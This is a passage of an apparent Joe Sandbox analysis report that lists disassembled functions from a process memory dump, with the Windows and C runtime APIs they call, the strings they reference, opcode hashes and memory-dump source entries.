API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 5fde642f47360a120b3bbdc49a752417dcdc94f7dd720a243365bab1f94d45be
Instruction ID: 6bebf4c2e426c1b82415be9fd44164bcba8503f1684fb09b00d0baae400f1fa5
Opcode Fuzzy Hash: 5fde642f47360a120b3bbdc49a752417dcdc94f7dd720a243365bab1f94d45be
Instruction Fuzzy Hash: 12B19123B1869681FA61EB22DD405B9E2A1EF44BE4F844279EA9D47B85EF3CF441C314

Function 00007FF70AF15EEC Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF70AF15F1A

Part of subcall function 00007FF70AF15668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF1567C

_get_daylight.LIBCMT ref: 00007FF70AF15F2B

Part of subcall function 00007FF70AF15608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF1561C

_get_daylight.LIBCMT ref: 00007FF70AF15F3C

Part of subcall function 00007FF70AF15638: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF1564C

Part of subcall function 00007FF70AF0A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF70AF12D92,?,?,?,00007FF70AF12DCF,?,?,00000000,00007FF70AF13295,?,?,?,00007FF70AF131C7), ref: 00007FF70AF0A9CE
Part of subcall function 00007FF70AF0A9B8: GetLastError.KERNEL32(?,?,?,00007FF70AF12D92,?,?,?,00007FF70AF12DCF,?,?,00000000,00007FF70AF13295,?,?,?,00007FF70AF131C7), ref: 00007FF70AF0A9D8

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF70AF1617C), ref: 00007FF70AF15F63

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: 8084827ab6892e9bf44fc7ae7df730cc4e836e683a41a1d7f4ca7a201d78ec16
Instruction ID: cc5bba006f3810bbe9dbe8396a72f8f4cae0ef5cee69fd76735e82df9d8d1c49
Opcode Fuzzy Hash: 8084827ab6892e9bf44fc7ae7df730cc4e836e683a41a1d7f4ca7a201d78ec16
Instruction Fuzzy Hash: 79514C23A1864286F720FF25DD815A9E760BF88784FC491BAEA4D87796DF3CF4408760

Function 00007FF70AEFD080 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF70AEFD0AC
GetCurrentThreadId.KERNEL32 ref: 00007FF70AEFD0BA
GetCurrentProcessId.KERNEL32 ref: 00007FF70AEFD0C6
QueryPerformanceCounter.KERNEL32 ref: 00007FF70AEFD0D6

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
Instruction ID: 102d7a3294b779a1f9679992ff74748dd7ee708ebcbed372a55612fc00cac4fc
Opcode Fuzzy Hash: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
Instruction Fuzzy Hash: 62111526B14B06CAFB00EB60EC552A973A4FB19758F840E31EA6D867A4DF7CE1598350

Function 00007FF70AF13C80 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF70AF13CE6
memcpy_s.LIBCPMT ref: 00007FF70AF13D11

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction ID: e8b96e30af1f513ff306eba93a2df213b7c7a66cf93f28148f6fc7502b16ad7f
Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction Fuzzy Hash: A7C1E2B3A1868A87E724DF1AE444A6AF7A1FB94784F848234DB4A57744DB3DF805CB40

Function 00007FF70AEFA4E4 Relevance: 4.1, Strings: 3, Instructions: 398COMMON

Download Yara Rule

Strings

header crc mismatch, xrefs: 00007FF70AEFA991
, xrefs: 00007FF70AEFA5CB
unknown header flags set, xrefs: 00007FF70AEFA535

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown header flags set
API String ID: 0-1127688429
Opcode ID: 41de47797cb66f1826093f4b1d60416fd99d26d25a53ce6bfd127eaa39bdfb5e
Instruction ID: f905bf86bb7fc2562f8da26a0b67a5b366a1ecbec21c196a917f33f86351ef21
Opcode Fuzzy Hash: 41de47797cb66f1826093f4b1d60416fd99d26d25a53ce6bfd127eaa39bdfb5e
Instruction Fuzzy Hash: 94F17463A183D64AF795BF14C889B3ABBA9EF44780FC64578DA4D4B390CB38E541C750

Function 00007FF70AF19798 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF70AF199E7
RaiseException.KERNEL32 ref: 00007FF70AF199F8

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 2f74b2cda317b12825bead48c90720a79ba1abfeed249303701d480a1679e454
Instruction ID: b76cdd9d03158d683286fdc733a905c868561873bad91a369f4ca774fcb89b87
Opcode Fuzzy Hash: 2f74b2cda317b12825bead48c90720a79ba1abfeed249303701d480a1679e454
Instruction Fuzzy Hash: D5B1BF73A04B898BEB19CF29C89236CBBE0FB44B48F548861DB5D837A4CB79E451C750

Function 00007FF70AF03A14 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF70AF03DC4
, xrefs: 00007FF70AF03B82

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: 3098a868bf4d382f942c0283459ab4806c0f53f7eb332f8174ba39f6fc7772a0
Instruction ID: 7ab937d1cb919448a7d2eecc6c57d16b9c7e627f4900669ffbac0ac19e015c40
Opcode Fuzzy Hash: 3098a868bf4d382f942c0283459ab4806c0f53f7eb332f8174ba39f6fc7772a0
Instruction Fuzzy Hash: AAE1E377A0864686FB68AF29C85093DB3A0FF45B48F954375DA4E8B694CF39F841C720

Function 00007FF70AEFA34B Relevance: 2.7, Strings: 2, Instructions: 216COMMON

Download Yara Rule

Strings

invalid window size, xrefs: 00007FF70AEFA4B2
incorrect header check, xrefs: 00007FF70AEFA4CB

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID:
String ID: incorrect header check$invalid window size
API String ID: 0-900081337
Opcode ID: 5aba513b73eb8988df982bd12c0510577381bb82701c7147ce4cedc0b53fa8f7
Instruction ID: b1e7d8cda83de1feee5b09753c552b6731fafe9d582a01e970f7be3de9df2ccf
Opcode Fuzzy Hash: 5aba513b73eb8988df982bd12c0510577381bb82701c7147ce4cedc0b53fa8f7
Instruction Fuzzy Hash: F4917473A186878BF7A5BA14D889B3E7AA9FF44390FD54179DA4E47780CB38E540CB10

Function 00007FF70AF0DF60 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

e+000, xrefs: 00007FF70AF0E06D
gfff, xrefs: 00007FF70AF0E0EA

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: b62be3d0480bbbd0e022829aa0980c84d51f153df7fa61e27e52cad2b39beef0
Instruction ID: cca673d6e63f780a9a6690895e13ee9542ef05d8661a8c257f6e7fb8e20ce0d1
Opcode Fuzzy Hash: b62be3d0480bbbd0e022829aa0980c84d51f153df7fa61e27e52cad2b39beef0
Instruction Fuzzy Hash: 54515663B182C186F7249A35DC00B69EB91EB84B94F88D6B5CBA887AC5CF7DF0418710

Function 00007FF70AF10938 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: 10bf4b1f0472125ada9b1d6b923a92a2d49e498fcbab652d34985a7b27debbff
Instruction ID: 967919287facac05207b067226576afe8e0108a6b44c2344376db64b3aae3a63
Opcode Fuzzy Hash: 10bf4b1f0472125ada9b1d6b923a92a2d49e498fcbab652d34985a7b27debbff
Instruction Fuzzy Hash: 2A02BD23F1E64680FA65BB11EC11679E694AF05BA0FC586B4ED5E863D2DF3CF4819320

Function 00007FF70AF0DACC Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF70AF0DE0E

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
Instruction ID: 6ec8042ff54e0c90a9cba593b0782bd30fecc48b02cdba95f44bbb6af76cfd37
Opcode Fuzzy Hash: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
Instruction Fuzzy Hash: FFA14563A097C646FB21DF69E800BA9BB91AF60B84F858072DE8D87785DF3DE501C710

Function 00007FF70AF08804 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

TMP, xrefs: 00007FF70AF08823

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: TMP
API String ID: 3215553584-3125297090
Opcode ID: 5f14576829c2a404d65bc8e6713cc3c63392e5e443677cfdf71167dbae88db0a
Instruction ID: 6019a3c179b613b83a9a39c5c041b49a3b4c1429e8344001c0b9f2b003021ff5
Opcode Fuzzy Hash: 5f14576829c2a404d65bc8e6713cc3c63392e5e443677cfdf71167dbae88db0a
Instruction Fuzzy Hash: 07518F13F1874241FA64BA26DD019BAE2916F84BC4FC841B4DE4E877D6EF3CF40682A4

Function 00007FF70AF134F0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70AF134F4

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 39e33fd4700d97162abc6aa121af668d241eeaeaed41ff08026f27548e358ff0
Instruction ID: 6744a00715bb9743119bd2c6327d51eb426881e2e52f650c84f4d1ff7acc56cb
Opcode Fuzzy Hash: 39e33fd4700d97162abc6aa121af668d241eeaeaed41ff08026f27548e358ff0
Instruction Fuzzy Hash: 5FB09222E07A42C2FA097B21AC8221862A47F48701FD842B8C41C44330DF2CB0E95720

Function 00007FF70AF03610 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f2a1199bc68cddcf3b08423a19983f3afdde0c7e054ddf4c3f66946da216a90
Instruction ID: e552834739db9888fa94a9e1b37f2d986b01319420b98d26decf36e93768f467
Opcode Fuzzy Hash: 5f2a1199bc68cddcf3b08423a19983f3afdde0c7e054ddf4c3f66946da216a90
Instruction Fuzzy Hash: 01D1D767A0C64285FB28AE29C950A3DA7A1EF45B88F944375CE0D8B795DF3DF845C320

Function 00007FF70AEF9870 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 069bb313382d3adaff5ac451a95cb3dd74dda88d5dd80987c9f0d361d468a953
Instruction ID: e36f5dc5100920d754e5d8565c647e788d8a2e8087a4e546df12ca49efc9e1e4
Opcode Fuzzy Hash: 069bb313382d3adaff5ac451a95cb3dd74dda88d5dd80987c9f0d361d468a953
Instruction Fuzzy Hash: E8C1AE722181E18BD289EA29E87947A73D1FB8930DBD5406BEF87476C6C73CA514DB20

Function 00007FF70AF02C80 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2617fd8e8f043c0917c6a56c5cabdca8b91b1cd744d59a3c82f21f331bc63c74
Instruction ID: 856e74ad32036fa6863058a9d8fd883cf8086bc6a44279d960b9b03cf07d678e
Opcode Fuzzy Hash: 2617fd8e8f043c0917c6a56c5cabdca8b91b1cd744d59a3c82f21f331bc63c74
Instruction Fuzzy Hash: B4B19D73A0878585FB64AF39C8585BCBBA4EB45B88FA401B5CB4D87395CF29E841C730

Function 00007FF70AF0E5E0 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73948b09e9837a821f5a3b4bbb106c60bdc2a86aaa707f45330964650836ebfe
Instruction ID: 9b39593c6dad9e38680b5cea38545e8865aeea5fef5aae6ff3b9e1f1ab52483a
Opcode Fuzzy Hash: 73948b09e9837a821f5a3b4bbb106c60bdc2a86aaa707f45330964650836ebfe
Instruction Fuzzy Hash: 3481E173A1838186F774AB29E840B7AAA91FF457D4F944675DA9D83B95CF3CE4008B10

Function 00007FF70AF16488 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2f230ee3a98ece7b192f4bc53182e7c18c75a4751ed7777c4a897db923149be4
Instruction ID: f036d346edad6e107e0e637a2f04107476978029971e02dd195caa3af6348d93
Opcode Fuzzy Hash: 2f230ee3a98ece7b192f4bc53182e7c18c75a4751ed7777c4a897db923149be4
Instruction Fuzzy Hash: F961D423E0829246FBA4AA28C85467DE681AF40764FD542B9DA5DCB7D5DF6DF8008B20

Function 00007FF70AF021D4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction ID: 02e677233d2480c7fd4f05a164665e99806bd23f289788e7f3c35f179f93e709
Opcode Fuzzy Hash: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction Fuzzy Hash: 94517133A1865186F7649B69C448AB8B3A0EF55B68F644171CF8D87794CF3AF843C760

Function 00007FF70AF019B4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction ID: cbc133a56752af4bbdcacbc030a72a3a7c013e31bf808407ad6f49dabcfdd602
Opcode Fuzzy Hash: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction Fuzzy Hash: E251B077A1865182F7249B28C840B39B3A0EF44B68FA44271CE8D977A4DF3AF843C754

Function 00007FF70AF01DC4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

